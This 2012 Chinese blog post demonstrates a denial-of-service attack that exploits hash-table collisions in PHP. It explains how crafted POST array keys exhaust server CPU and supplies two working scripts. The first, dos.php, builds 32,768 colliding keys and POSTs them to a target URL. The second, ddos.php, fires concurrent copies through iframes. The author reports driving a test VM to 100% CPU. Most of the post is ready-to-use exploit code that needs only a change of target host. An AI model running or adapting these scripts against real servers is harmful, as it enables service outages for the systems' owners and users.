• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • YouClaw
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
百分百
http://www.qrw100.com
博客园    首页    新随笔    联系   管理    订阅  订阅

通过PHP的hash冲突漏洞进行DDoS攻击

上回咱说到了最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。

不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php
// 目标地址     

  • // 只要目标地址存在,不用管它是干嘛的     
  • $host = 'http://127.0.0.1/test.php';      
  •      
  • $data = '';     
  • $size = pow(2, 15);     
  • for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)     
  • {     
  •     $data .= '&array[' . $key . ']=0';     
  • }     
  •      
  • $ret = curl($host, ltrim($data,'&'));     
  • var_dump($ret);     
  •      
  •      
  • function curl($url, $post, $timeout = 30){     
  •     $ch = curl_init();     
  •     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);     
  •     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);     
  •     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);     
  •     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));       
  •     curl_setopt($ch, CURLOPT_URL, $url);     
  •     curl_setopt($ch, CURLOPT_POST, true);     
  •     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);     
  •     $output = curl_exec($ch);     
  •     if ($output === false) return false;     
  •     $info = curl_getinfo($ch);     
  •     $http_code = $info['http_code'];     
  •     if ($http_code == 404) return false;     
  •     curl_close($ch);     
  •     return $output;     
  • } 
  • 文件:ddos.php
    • <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">     
    • <html xmlns="http://www.w3.org/1999/xhtml">     
    • <head>     
    • <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />     
    • <title>DDOS</title>     
    • </head>     
    •      
    • <body>     
    • <?php     
    • for($i=0; $i<5; $i++){//并发数     
    •     echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';     
    • }     
    • ?>     
    • </body>     
    • </html> 
    虽然我的测试目标服务器是台虚拟机,但仅用了2个并发就使目标机CPU飙到了100%。但是100%的CPU占用并不代表着就已经拒绝服务,点到为止:)


posted @ 2012-01-04 15:25  爱尚美  阅读(384)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3